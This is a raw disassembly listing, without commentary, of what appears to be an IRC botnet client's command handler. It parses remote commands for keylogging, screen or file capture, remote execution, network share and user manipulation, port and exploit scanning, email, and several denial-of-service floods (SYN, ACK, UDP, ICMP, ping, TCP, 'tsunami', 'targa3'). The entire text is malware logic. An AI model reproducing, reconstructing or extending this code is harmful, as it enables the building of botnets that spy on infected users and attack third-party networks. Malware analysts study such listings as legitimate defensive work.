		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412661
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405D83


loc_405D6D:				; CODE XREF: sub_401ACD+42B4j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_405D6D
; ---------------------------------------------------------------------------


loc_405D83:				; CODE XREF: sub_401ACD+429Ej
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42B7E4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405D94:				; CODE XREF: sub_401ACD+41D5j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	21h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC4
		push	eax
		push	offset unk_42B7A4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405DC4:				; CODE XREF: sub_401ACD+42EAj
		push	offset unk_42B774
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405DCE:				; CODE XREF: sub_401ACD+41BEj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA3
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E69
		push	2
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405E0C
		push	offset dword_42B74C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405E0C:				; CODE XREF: sub_401ACD+4333j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B720
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FD
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	loc_40828C
		call	near ptr 2680932h
		nop
		push	eax
		push	offset dword_42B6EC
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E69:				; CODE XREF: sub_401ACD+4327j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	2
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E99
		push	eax
		push	offset dword_42B6B4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E99:				; CODE XREF: sub_401ACD+43BFj
		push	offset dword_42B694
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405EA3:				; CODE XREF: sub_401ACD+4310j
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406020
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	23h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0F
		push	eax
		push	offset dword_42B648
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405F0F:				; CODE XREF: sub_401ACD+4435j
		push	offset dword_42B61C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F19:				; CODE XREF: sub_401ACD+4401j
					; sub_401ACD+4410j
		push	23h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405F2F
		push	offset dword_42B5FC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F2F:				; CODE XREF: sub_401ACD+4456j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5C
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F65
; ---------------------------------------------------------------------------


loc_405F5C:				; CODE XREF: sub_401ACD+4481j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F65:				; CODE XREF: sub_401ACD+448Dj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8C
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8C
		mov	esi, [ebp+var_88]


loc_405F8C:				; CODE XREF: sub_401ACD+44A1j
					; sub_401ACD+44B7j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B5D8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset byte_411CF5
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40600F


loc_405FF9:				; CODE XREF: sub_401ACD+4540j
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2670EC7h
		nop
		jmp	short loc_405FF9
; ---------------------------------------------------------------------------


loc_40600F:				; CODE XREF: sub_401ACD+452Aj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset dword_42B59C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406020:				; CODE XREF: sub_401ACD+43E5j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406270
		cmp	dword_4CB724, ebx
		jz	short loc_40604F
		cmp	dword_4CB74C, ebx
		jz	short loc_40604F
		push	offset unk_42B560
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40604F:				; CODE XREF: sub_401ACD+456Ej
					; sub_401ACD+4576j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406074
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406074:				; CODE XREF: sub_401ACD+4597j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C1
		cmp	edi, ebx
		jz	short loc_406095
		push	[ebp+arg_0]
		push	3
		jmp	loc_406127
; ---------------------------------------------------------------------------


loc_406095:				; CODE XREF: sub_401ACD+45BCj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B7
		push	offset unk_42B534
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060B7:				; CODE XREF: sub_401ACD+45DEj
		push	offset unk_42B514
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060C1:				; CODE XREF: sub_401ACD+45B8j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060DB:				; CODE XREF: sub_401ACD+4605j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F5
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060F5:				; CODE XREF: sub_401ACD+461Fj
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610F
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_40610F:				; CODE XREF: sub_401ACD+4639j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406139
		push	[ebp+arg_0]
		push	1


loc_406127:				; CODE XREF: sub_401ACD+45C3j
					; sub_401ACD+460Cj ...
		call	sub_4186C2
		pop	ecx
		pop	ecx


loc_40612E:				; CODE XREF: sub_401ACD+46A2j
					; sub_401ACD+472Aj ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_406139:				; CODE XREF: sub_401ACD+4653j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619E
		cmp	edi, ebx
		jz	short loc_406171
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615E
		push	ebx
		push	edi
		push	1
		jmp	short loc_406167
; ---------------------------------------------------------------------------


loc_40615E:				; CODE XREF: sub_401ACD+4689j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406167:				; CODE XREF: sub_401ACD+468Fj
		call	sub_418A99
		add	esp, 0Ch
		jmp	short loc_40612E
; ---------------------------------------------------------------------------


loc_406171:				; CODE XREF: sub_401ACD+4681j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8F
		add	esp, 10h
		test	eax, eax
		jz	short loc_406194
		push	offset unk_42B4CC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406194:				; CODE XREF: sub_401ACD+46BBj
		push	offset unk_42B4AC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40619E:				; CODE XREF: sub_401ACD+467Dj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406229
		cmp	edi, ebx
		jz	short loc_4061FC
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CF
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061CF:				; CODE XREF: sub_401ACD+46EEj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EB
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_401ACD+4717j
		push	ebx
		push	edi
		push	2


loc_4061EF:				; CODE XREF: sub_401ACD+4700j
					; sub_401ACD+471Cj
		call	sub_418DB0
		add	esp, 18h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_4061FC:				; CODE XREF: sub_401ACD+46E6j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192E0
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621F
		push	offset unk_42B48C
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40621F:				; CODE XREF: sub_401ACD+4746j
		push	offset unk_42B46C
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406229:				; CODE XREF: sub_401ACD+46E2j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406266
		cmp	edi, ebx
		jz	short loc_40625C
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419594
		add	esp, 10h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_40625C:				; CODE XREF: sub_401ACD+4771j
		push	offset unk_42B440
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406266:				; CODE XREF: sub_401ACD+476Dj
		push	offset unk_42B424
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406270:				; CODE XREF: sub_401ACD+4562j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A


loc_4062C4:				; CODE XREF: sub_401ACD+3CBEj
					; sub_401ACD+3CEDj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset dword_42BBFC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]
		push	offset aJpDe10	; "jp]de10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D7
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F7
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset byte_4146CF
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4067C6


loc_4067B0:				; CODE XREF: sub_401ACD+4CF7j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2670EC7h
		nop
		jmp	short loc_4067B0
; ---------------------------------------------------------------------------


loc_4067C6:				; CODE XREF: sub_401ACD+4CE1j
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42B298
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_4067D7:				; CODE XREF: sub_401ACD+4C37j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406904
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42B250
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset byte_413627
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4068F3


loc_4068DD:				; CODE XREF: sub_401ACD+4E24j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407279
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_4068DD
; ---------------------------------------------------------------------------


loc_4068F3:				; CODE XREF: sub_401ACD+4E0Ej
		call	near ptr 2680932h
		nop
		push	eax
		push	offset dword_42B214
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_406904:				; CODE XREF: sub_401ACD+4D49j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aAdv	; "adv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D17
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_42D124 ; " "
		push	offset dword_42BBF8
		push	[ebp+esi+var_7C]
